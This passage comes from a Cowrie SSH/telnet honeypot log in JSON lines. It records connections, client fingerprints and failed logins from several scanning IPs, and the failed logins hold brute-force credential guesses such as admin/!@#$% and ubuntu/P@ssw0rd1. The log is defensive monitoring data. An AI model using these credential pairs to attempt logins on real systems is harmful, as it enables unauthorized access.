9-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:58.924588Z","src_ip":"156.251.179.157","session":"d241c8d9b86f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.924149751663208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:00.182621Z","src_ip":"103.150.226.61","session":"1b13d421b73b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp","message":"login attempt [ftp_user/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:00.350212Z","src_ip":"156.251.179.157","session":"d241c8d9b86f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:01.583460Z","src_ip":"156.251.179.157","session":"d241c8d9b86f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":50006,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cd767a4278a","protocol":"telnet","message":"New connection: 103.150.226.61:50006 (159.203.135.109:23) [session: 2cd767a4278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:01.737414Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":39618,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2cac17d152f","protocol":"ssh","message":"New connection: 103.248.120.6:39618 (10.17.0.5:22) [session: c2cac17d152f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:02.101475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:02.106714Z","src_ip":"103.248.120.6","session":"c2cac17d152f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:02.326062Z","src_ip":"103.248.120.6","session":"c2cac17d152f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sfserver","password":"sfserver","message":"login attempt [sfserver/sfserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:03.237232Z","src_ip":"103.248.120.6","session":"c2cac17d152f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.70829391479492,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:04.021307Z","src_ip":"103.150.226.61","session":"a4101942421e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:04.459015Z","src_ip":"103.248.120.6","session":"c2cac17d152f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.316195487976074,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:06.969672Z","src_ip":"104.245.105.2","session":"418e586432ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":41806,"dst_ip":"10.17.0.5","dst_port":22,"session":"eca9eb6bd8ad","protocol":"ssh","message":"New connection: 156.251.179.157:41806 (10.17.0.5:22) [session: eca9eb6bd8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:08.157259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:08.213460Z","src_ip":"156.251.179.157","session":"eca9eb6bd8ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:08.705028Z","src_ip":"156.251.179.157","session":"eca9eb6bd8ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":54262,"dst_ip":"10.17.0.5","dst_port":22,"session":"936ed7dfc7d3","protocol":"ssh","message":"New connection: 152.32.238.146:54262 (10.17.0.5:22) [session: 936ed7dfc7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:09.290758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:09.294333Z","src_ip":"152.32.238.146","session":"936ed7dfc7d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:09.304972Z","src_ip":"152.32.238.146","session":"936ed7dfc7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#$%","message":"login attempt [admin/!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:09.386538Z","src_ip":"152.32.238.146","session":"936ed7dfc7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.011931896209717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:09.429894Z","src_ip":"103.150.226.61","session":"339479f8b0a6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123!@#","message":"login attempt [ubuntu/ubuntu123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:10.168905Z","src_ip":"156.251.179.157","session":"eca9eb6bd8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:10.400342Z","src_ip":"152.32.238.146","session":"936ed7dfc7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70357871055603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:11.182999Z","src_ip":"103.150.226.61","session":"c20b6877a78d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:11.385743Z","src_ip":"156.251.179.157","session":"eca9eb6bd8ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":46702,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfb1288f8991","protocol":"telnet","message":"New connection: 103.150.226.61:46702 (159.203.135.109:23) [session: dfb1288f8991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:12.820141Z"}
{"eventid":"cowrie.session.closed","duration":31.032939672470093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:13.177541Z","src_ip":"103.150.226.61","session":"f69b0079a885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":46710,"dst_ip":"159.203.135.109","dst_port":23,"session":"22747c062eda","protocol":"telnet","message":"New connection: 103.150.226.61:46710 (159.203.135.109:23) [session: 22747c062eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:13.471213Z"}
{"eventid":"cowrie.session.closed","duration":30.53435754776001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:14.332732Z","src_ip":"103.150.226.61","session":"a75308706659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400866270065308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:15.226622Z","src_ip":"103.150.226.61","session":"3e6c7ea7c40a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":43280,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd6d550d9657","protocol":"ssh","message":"New connection: 156.251.179.157:43280 (10.17.0.5:22) [session: dd6d550d9657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:18.295803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:18.360621Z","src_ip":"156.251.179.157","session":"dd6d550d9657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41128,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2a3bcb0df3","protocol":"telnet","message":"New connection: 104.245.105.2:41128 (10.17.0.5:23) [session: cb2a3bcb0df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:18.445289Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:18.777887Z","src_ip":"156.251.179.157","session":"dd6d550d9657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.900314569473267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:20.027281Z","src_ip":"103.150.226.61","session":"78542b70e485","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd1","message":"login attempt [ubuntu/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:20.386462Z","src_ip":"156.251.179.157","session":"dd6d550d9657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:21.608432Z","src_ip":"156.251.179.157","session":"dd6d550d9657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":38316,"dst_ip":"159.203.135.109","dst_port":23,"session":"c669129aa908","protocol":"telnet","message":"New connection: 103.150.226.61:38316 (159.203.135.109:23) [session: c669129aa908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:22.806912Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":38324,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ff6e86191e","protocol":"telnet","message":"New connection: 103.150.226.61:38324 (159.203.135.109:23) [session: 15ff6e86191e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:24.035635Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":54180,"dst_ip":"159.203.135.109","dst_port":23,"session":"68e3c77c3fcd","protocol":"telnet","message":"New connection: 103.150.226.61:54180 (159.203.135.109:23) [session: 68e3c77c3fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:27.805489Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":54194,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c2de82d919f","protocol":"telnet","message":"New connection: 103.150.226.61:54194 (159.203.135.109:23) [session: 8c2de82d919f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:28.830258Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":54210,"dst_ip":"159.203.135.109","dst_port":23,"session":"55147b153697","protocol":"telnet","message":"New connection: 103.150.226.61:54210 (159.203.135.109:23) [session: 55147b153697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:30.832733Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":44752,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef18d77b7f10","protocol":"ssh","message":"New connection: 156.251.179.157:44752 (10.17.0.5:22) [session: ef18d77b7f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:31.686365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:31.726011Z","src_ip":"156.251.179.157","session":"ef18d77b7f10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:32.066095Z","src_ip":"156.251.179.157","session":"ef18d77b7f10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.45887804031372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:32.196097Z","src_ip":"103.150.226.61","session":"2cd767a4278a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":54218,"dst_ip":"159.203.135.109","dst_port":23,"session":"151bafd57983","protocol":"telnet","message":"New connection: 103.150.226.61:54218 (159.203.135.109:23) [session: 151bafd57983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:32.251183Z"}
{"eventid":"cowrie.session.closed","duration":50.35964393615723,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:33.268177Z","src_ip":"104.245.105.2","session":"34faf0524974","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"telecomadmin","message":"login attempt [telecomadmin/telecomadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:33.589256Z","src_ip":"156.251.179.157","session":"ef18d77b7f10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":54228,"dst_ip":"159.203.135.109","dst_port":23,"session":"3021d9f62648","protocol":"telnet","message":"New connection: 103.150.226.61:54228 (159.203.135.109:23) [session: 3021d9f62648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:33.805473Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:34.811050Z","src_ip":"156.251.179.157","session":"ef18d77b7f10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44466,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1cb536c9c5d","protocol":"telnet","message":"New connection: 103.150.226.61:44466 (159.203.135.109:23) [session: a1cb536c9c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:39.696442Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":46226,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a6a7ba757ef","protocol":"ssh","message":"New connection: 156.251.179.157:46226 (10.17.0.5:22) [session: 8a6a7ba757ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:42.883070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:42.942671Z","src_ip":"156.251.179.157","session":"8a6a7ba757ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com